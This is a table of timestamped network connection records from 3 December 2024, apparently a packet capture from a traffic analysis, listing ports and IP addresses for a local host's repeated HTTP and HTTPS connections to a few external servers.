Dec 3, 2024 15:22:48.255920887 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.270976067 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.271025896 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.273488045 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.273533106 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.279474974 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.279527903 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.281083107 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.281126022 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.293178082 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.293227911 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.295834064 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.295882940 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.306715965 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.306767941 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.312074900 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.312119007 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.320061922 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.320107937 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.346259117 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.346304893 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.346359968 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.346395016 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.392915010 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.392973900 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.393152952 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.393198013 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.395417929 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.395541906 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.400250912 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.400321960 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.400372028 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.400408030 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.405169964 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.405214071 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.405316114 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.405358076 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.409802914 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.409862995 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.409991980 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.410034895 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.410043955 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.410079002 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.414254904 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.414294004 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.414426088 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.414463043 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.419805050 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.419855118 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.419976950 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.420013905 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.429100990 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.429150105 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.429280996 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.429431915 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.440629959 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.440694094 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.440951109 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.440992117 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.451652050 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.451704025 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.451766014 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.451809883 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.462986946 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.463040113 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.463118076 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.463160038 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.473304987 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.473371983 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.473468065 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.473507881 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.484536886 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.484586000 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.484647036 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.484848022 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.504359961 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.504442930 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.504466057 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.504501104 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.519287109 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.519349098 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.519447088 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.519489050 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.523375988 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.523423910 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.523497105 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.523540020 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.525468111 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.525511980 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.525612116 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.525649071 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.525660038 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.525698900 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.527544022 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.527616024 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.527669907 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.527715921 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.527717113 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.527724981 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.527739048 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.527746916 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.527759075 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.527759075 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:49.032968044 CET	49802	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:22:49.153645992 CET	80	49802	132.226.247.73	192.168.2.7
Dec 3, 2024 15:22:49.153736115 CET	49802	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:22:49.154123068 CET	49802	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:22:49.274327993 CET	80	49802	132.226.247.73	192.168.2.7
Dec 3, 2024 15:22:50.551172018 CET	80	49802	132.226.247.73	192.168.2.7
Dec 3, 2024 15:22:50.555913925 CET	49802	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:22:50.675990105 CET	80	49802	132.226.247.73	192.168.2.7
Dec 3, 2024 15:22:51.015388012 CET	80	49802	132.226.247.73	192.168.2.7
Dec 3, 2024 15:22:51.057368994 CET	49802	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:22:51.407484055 CET	49809	443	192.168.2.7	104.21.67.152
Dec 3, 2024 15:22:51.407547951 CET	443	49809	104.21.67.152	192.168.2.7
Dec 3, 2024 15:22:51.407757998 CET	49809	443	192.168.2.7	104.21.67.152
Dec 3, 2024 15:22:51.410389900 CET	49809	443	192.168.2.7	104.21.67.152
Dec 3, 2024 15:22:51.410407066 CET	443	49809	104.21.67.152	192.168.2.7
Dec 3, 2024 15:22:52.723846912 CET	443	49809	104.21.67.152	192.168.2.7
Dec 3, 2024 15:22:52.723963976 CET	49809	443	192.168.2.7	104.21.67.152
Dec 3, 2024 15:22:52.728813887 CET	49809	443	192.168.2.7	104.21.67.152
Dec 3, 2024 15:22:52.728823900 CET	443	49809	104.21.67.152	192.168.2.7
Dec 3, 2024 15:22:52.729111910 CET	443	49809	104.21.67.152	192.168.2.7
Dec 3, 2024 15:22:52.734111071 CET	49809	443	192.168.2.7	104.21.67.152
Dec 3, 2024 15:22:52.775332928 CET	443	49809	104.21.67.152	192.168.2.7
Dec 3, 2024 15:22:53.194545031 CET	443	49809	104.21.67.152	192.168.2.7
Dec 3, 2024 15:22:53.194622993 CET	443	49809	104.21.67.152	192.168.2.7
Dec 3, 2024 15:22:53.194885969 CET	49809	443	192.168.2.7	104.21.67.152
Dec 3, 2024 15:22:53.201574087 CET	49809	443	192.168.2.7	104.21.67.152
Dec 3, 2024 15:22:59.094218969 CET	49802	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:22:59.214165926 CET	80	49802	132.226.247.73	192.168.2.7
Dec 3, 2024 15:22:59.545706034 CET	80	49802	132.226.247.73	192.168.2.7
Dec 3, 2024 15:22:59.588676929 CET	49802	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:22:59.691011906 CET	49830	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:22:59.691063881 CET	443	49830	149.154.167.220	192.168.2.7
Dec 3, 2024 15:22:59.691137075 CET	49830	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:22:59.691638947 CET	49830	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:22:59.691653967 CET	443	49830	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:01.104878902 CET	443	49830	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:01.104980946 CET	49830	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:01.106849909 CET	49830	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:01.106863022 CET	443	49830	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:01.107161999 CET	443	49830	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:01.109021902 CET	49830	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:01.151336908 CET	443	49830	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:01.151406050 CET	49830	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:01.151426077 CET	443	49830	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:01.792031050 CET	443	49830	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:01.792119026 CET	443	49830	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:01.792331934 CET	49830	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:01.802897930 CET	49830	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:02.633502007 CET	49802	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:02.646265030 CET	49838	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:02.754165888 CET	80	49802	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:02.754234076 CET	49802	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:02.766283989 CET	80	49838	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:02.766411066 CET	49838	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:02.797209978 CET	49838	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:02.917531013 CET	80	49838	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:04.279830933 CET	80	49838	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:04.281546116 CET	49844	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:04.281599045 CET	443	49844	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:04.281672001 CET	49844	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:04.282352924 CET	49844	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:04.282370090 CET	443	49844	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:04.323085070 CET	49838	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:05.712460041 CET	443	49844	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:05.738630056 CET	49844	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:05.738653898 CET	443	49844	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:05.738708973 CET	49844	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:05.738718033 CET	443	49844	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:06.396949053 CET	443	49844	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:06.397043943 CET	443	49844	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:06.397090912 CET	49844	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:06.397605896 CET	49844	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:06.401859045 CET	49838	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:06.403207064 CET	49850	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:06.523053885 CET	80	49838	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:06.523184061 CET	49838	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:06.523267031 CET	80	49850	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:06.523371935 CET	49850	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:06.543308020 CET	49850	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:06.663300991 CET	80	49850	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:07.970480919 CET	80	49850	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:07.972215891 CET	49852	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:07.972268105 CET	443	49852	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:07.972362995 CET	49852	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:07.972883940 CET	49852	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:07.972907066 CET	443	49852	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:08.010700941 CET	49850	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:09.381624937 CET	443	49852	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:09.406418085 CET	49852	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:09.406445026 CET	443	49852	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:09.406491995 CET	49852	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:09.406500101 CET	443	49852	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:10.146020889 CET	443	49852	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:10.147479057 CET	443	49852	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:10.150407076 CET	49852	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:10.150747061 CET	49852	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:10.155972004 CET	49858	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:10.276159048 CET	80	49858	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:10.276249886 CET	49858	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:10.276627064 CET	49858	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:10.397252083 CET	80	49858	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:11.840050936 CET	80	49858	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:11.841901064 CET	49863	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:11.841942072 CET	443	49863	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:11.842012882 CET	49863	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:11.842472076 CET	49863	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:11.842483044 CET	443	49863	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:11.885591984 CET	49858	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:13.262501955 CET	443	49863	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:13.264586926 CET	49863	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:13.264604092 CET	443	49863	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:13.264678955 CET	49863	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:13.264688969 CET	443	49863	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:13.917196989 CET	443	49863	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:13.917285919 CET	443	49863	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:13.917367935 CET	49863	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:13.917957067 CET	49863	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:13.921253920 CET	49858	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:13.922532082 CET	49869	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:14.042160988 CET	80	49858	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:14.042227030 CET	49858	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:14.043237925 CET	80	49869	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:14.043320894 CET	49869	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:14.043550968 CET	49869	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:14.163631916 CET	80	49869	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:15.348351002 CET	80	49869	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:15.350035906 CET	49875	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:15.350097895 CET	443	49875	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:15.350202084 CET	49875	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:15.350527048 CET	49875	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:15.350542068 CET	443	49875	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:15.401201963 CET	49869	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:17.110857010 CET	443	49875	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:17.114381075 CET	49875	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:17.114418983 CET	443	49875	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:17.114624023 CET	49875	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:17.114630938 CET	443	49875	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:17.893846035 CET	443	49875	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:17.894123077 CET	443	49875	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:17.894233942 CET	49875	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:17.894640923 CET	49875	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:17.898015976 CET	49869	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:17.899375916 CET	49881	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:18.018541098 CET	80	49869	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:18.018662930 CET	49869	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:18.019599915 CET	80	49881	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:18.019686937 CET	49881	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:18.019983053 CET	49881	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:18.141983986 CET	80	49881	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:19.711443901 CET	80	49881	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:19.713152885 CET	49883	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:19.713196993 CET	443	49883	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:19.713289022 CET	49883	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:19.713778973 CET	49883	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:19.713792086 CET	443	49883	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:19.760796070 CET	49881	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:21.258518934 CET	443	49883	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:21.260555029 CET	49883	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:21.260586977 CET	443	49883	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:21.260689020 CET	49883	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:21.260700941 CET	443	49883	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:21.905534983 CET	443	49883	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:21.905631065 CET	443	49883	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:21.905716896 CET	49883	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:21.906379938 CET	49883	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:21.909940958 CET	49881	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:21.911187887 CET	49888	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:22.030195951 CET	80	49881	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:22.030363083 CET	49881	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:22.031197071 CET	80	49888	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:22.031280994 CET	49888	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:22.031601906 CET	49888	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:22.151690960 CET	80	49888	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:23.410410881 CET	80	49888	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:23.411920071 CET	49894	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:23.411968946 CET	443	49894	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:23.412041903 CET	49894	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:23.412373066 CET	49894	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:23.412394047 CET	443	49894	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:23.463773012 CET	49888	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:24.894797087 CET	443	49894	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:24.896927118 CET	49894	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:24.896940947 CET	443	49894	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:24.896995068 CET	49894	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:24.897002935 CET	443	49894	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:25.604897022 CET	443	49894	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:25.604993105 CET	443	49894	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:25.605061054 CET	49894	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:25.605722904 CET	49894	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:25.609353065 CET	49888	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:25.610675097 CET	49900	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:25.730094910 CET	80	49888	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:25.730154991 CET	49888	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:25.730593920 CET	80	49900	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:25.730664968 CET	49900	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:25.730920076 CET	49900	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:25.851079941 CET	80	49900	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:27.034535885 CET	80	49900	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:27.036371946 CET	49903	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:27.036416054 CET	443	49903	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:27.036487103 CET	49903	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:27.036803007 CET	49903	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:27.036815882 CET	443	49903	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:27.088763952 CET	49900	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:28.566736937 CET	443	49903	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:28.582169056 CET	49903	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:28.582190990 CET	443	49903	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:28.582252026 CET	49903	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:28.582262039 CET	443	49903	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:29.303159952 CET	443	49903	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:29.303237915 CET	443	49903	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:29.303324938 CET	49903	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:29.316051960 CET	49903	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:29.354928017 CET	49900	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:29.359453917 CET	49908	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:29.475199938 CET	80	49900	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:29.475337982 CET	49900	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:29.479443073 CET	80	49908	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:29.479530096 CET	49908	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:29.479759932 CET	49908	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:29.599695921 CET	80	49908	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:30.923572063 CET	80	49908	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:30.924959898 CET	49913	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:30.925005913 CET	443	49913	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:30.925067902 CET	49913	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:30.925365925 CET	49913	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:30.925379992 CET	443	49913	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:30.963809013 CET	49908	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:32.334507942 CET	443	49913	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:32.346354961 CET	49913	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:32.346384048 CET	443	49913	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:32.346436977 CET	49913	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:32.346445084 CET	443	49913	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:32.999257088 CET	443	49913	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:32.999425888 CET	443	49913	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:32.999509096 CET	49913	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:33.005228996 CET	49913	443	192.168.2.7	149.154.167.220
